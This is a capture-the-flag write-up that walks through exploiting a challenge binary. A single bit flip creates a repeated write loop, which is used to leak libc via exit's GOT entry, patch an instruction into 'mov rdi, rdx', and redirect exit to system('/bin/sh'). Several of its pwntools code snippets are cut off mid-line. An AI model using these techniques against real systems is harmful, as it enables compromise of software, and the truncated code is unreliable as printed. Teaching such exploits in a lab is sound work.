Finally, Challenge 3. We lose the overflow we got in Challenge 2 and now must figure out how to still reach the end goal.
Stuck? Open one hint at a time before reading the solution.
memory_write_inator sits in memory with main.memory_write_inator never returned, execution would run on into the next function, and main calls memory_write_inator again. Which single bit of ret (0xc3) turns it into an instruction that's harmless here?exit's GOT entry with system still needs /bin/sh as the argument. Look at the instruction that loads exit's argument, and at what rdx points to after scanf and getchar read your input.mov edi, 1 as mov rdi, rdx (3 bytes; see Instructions in Assembly) followed by two nops.This challenge is identical to the previous challenge, except this time there's no buffer overflow. We're still allowed to modify one bit anywhere in the program; however, this is the only input we're granted.
Only changing one bit will never be enough to achieve a significant change in the code. As of now, we're at a loss for vulnerabilities to exploit: no buffer overflow, no GOT overwrite, and no format strings. We need a way to write more bytes into the text segment to influence more change.
To do this, we look to the format of the code. Notice that main has the highest address of the functions available. Most notably, main is just above memory_write_inator. This is crucial! We need a way to write more bytes; therefore, we need a way to call memory_write_inator more than once. To save space, the compiler stacks functions directly next to each other. We can easily print this to see it in action:
1...
20x00000000004014f0 <memory_write_inator+379>: call 0x401040 <write@plt>
30x00000000004014f5 <memory_write_inator+Therefore, by removing the ret instruction, the end of memory_write_inator will keep executing instructions and bring us back to main. Fortunately, main calls memory_write_inator, meaning we can induce an infinite loop! This infinite loop will allow us to change an infinite number of bits.
Checking the Opcode table, there are several bits we can change that won't cause a crash. By this, I mean to look for instructions that regardless of argument and return won't cause the program to SEGFAULT. ret has Opcode 0xc3 = 1100 0011. If we change the first bit, this becomes 0100 0011 = 0x43 = REX.XB. You can read more about Register Extension Instructions in Assembly, but know that this does nothing. Therefore, this code will run without a hitch and keep executing! It turns into the following:
10x00000000004014f6 <memory_write_inator+0181> leave
20x00000000004014f7 <memory_write_inator+0182> rex.XB
30x00000000004014f8 <main+0000This is our escape: flipping bit 0 at 0x4014f7.
Now that we have infinite write-what-where, we can check a series of exploits. In this case, the one that makes the most sense is a GOT Overwrite. The end goal can either be calling win or calling system("/bin/sh"). This write-up will show the latter to prove a more difficult challenge that can suit more challenging scenarios (i.e., no win function).
To call system, we must assume ASLR is turned on. We haven't detailed much of ASLR yet -- ASLR is PIE for the library (libc) file. Therefore, without a leak, we can't guarantee the address of any function in the file. Therefore, we must leak an address first. We decide to overwrite exit because we can instantly decide when it gets called:
10x000000000040148c <+279>: mov eax,DWORD PTR [rbp-0x1c]
20x000000000040148f <+282>: test This checks whether the input, rbp-0x1c, is not between 0 and 7. If it's not, it calls exit(1). We can easily control when this is executed, so this is a good route.
We'll need a way to leak the data. Fortunately, the binary prints out whatever byte we choose to change! Therefore, we can write a function that gets that line, and then flips and unflips a bit. First, let's write a function that flips a bit at an address:
1def bit_modify(addr, bit):
2 # send the address
3 p.recvuntil(b"for you:\n")
4 pThen, let's write a method that reads a byte. We'll need to send the address, read the byte, flip and unflip the bit, and then return the leaked byte.
1def read(addr):
2 # send the address
3 p.recvuntil(b"for you:\n")
4Finally, let's write a method that turns one string into another. We can do this by XORing the two values to determine what bits must be changed, and then iterating across those bits and running bit_modify for each one.
1def string_modify(base, old, new):
2 to_change = bytes(a ^ b for a, b in With these, we can write a full exploit doing what we need.
First, we need to permit infinite read-write by sending the bit to modify the ret instruction.
bit_modify(0x4014f7, 0)Then, we need to leak libc. We'll iterate across 8 bytes, leaking one at a time.
1exit_got = bytearray()
2for i in range(8):
3 exit_got += read(elf.got.Then, we can compute the base address of libc and the address of system@got.plt:
1libc.address = exit_got - libc.sym.exit
2system_got = libc.sym.systemNow, we need to write a way to pass /bin/sh into system. This is the hardest part. Consider this instruction:
0x000000000040149b <+294>: bf 01 00 00 00 mov edi,0x1This loads the argument passed into exit. This is a 5-byte instruction, which is more than enough to something else. The challenge of understanding what to change this into lays in how scanf and getchar works.
In order for
scanfto determine whetherstdinhas an integer for it to read (based onscanf("%d[^\n]")), it loads the contents ofstdininto a heap-allocated buffer. It then parses this input and checks for the integer. If there is not an integer, rather than replacing the data back intostdin, it is left inside the heap buffer. The address ofstdinis then replaced inlibcwith the heap address until it runs out, at which pointstdinis returned to its place.When
getchargets a character, it looks in the same place it expects to find the buffer. In this case, however, it finds the heap buffer to get the character. This yields the normal flow: the code gets the next character from input, which is currently inside a buffer.getcharusesrdxto perform thegetchar, but does not clear this buffer aftergetchar.
Based on the above, we know that rdx contains the heap buffer filled with the contents of stdin. Therefore, if we put /bin/sh into stdin, it will eventually be loaded into rdx in a buffer! Therefore, if we change mov edi, 1 to mov rdi, rdx, we can get this as the argument to system!
We learned how to write this inside Instructions in Assembly.
1REX Prefix 48 (W=1, R=1, X=0, B=0)
2Opcode 89 (MOV r16/32/64 r/m16/32This makes the instruction 48 89 d7. To fill the five bytes expected from the old instruction, we fill the last two bytes with nop. We can use string_modify to change the instruction:
string_modify(0x40149b, b"\xbf\x01\x00\x00\x00", b"\x48\x89\xd7\x90\x90")Then, we need to perform the GOT Overwrite.
string_modify(elf.got.exit, exit_got.to_bytes(8, "little"), system_got.to_bytes(8, "little"))Finally, to get shell! The address we pick doesn't matter, it just must be readable. Then, we send /bin/sh with a byte of padding (because of getchar)!
1p.recvuntil(b"for you:\n")
2p.sendline(b"0x47")
3
4p.recvuntil(b"flip:\n")
With this all together, we get a shell!
python3 exploit.py[+] Starting local process './chall': pid 115000[+] libc: 0x7f8f13687000[*] Switching to interactive modecat flag.txtIFC{PL4C3H0LD3R_FL4G_H3R3!}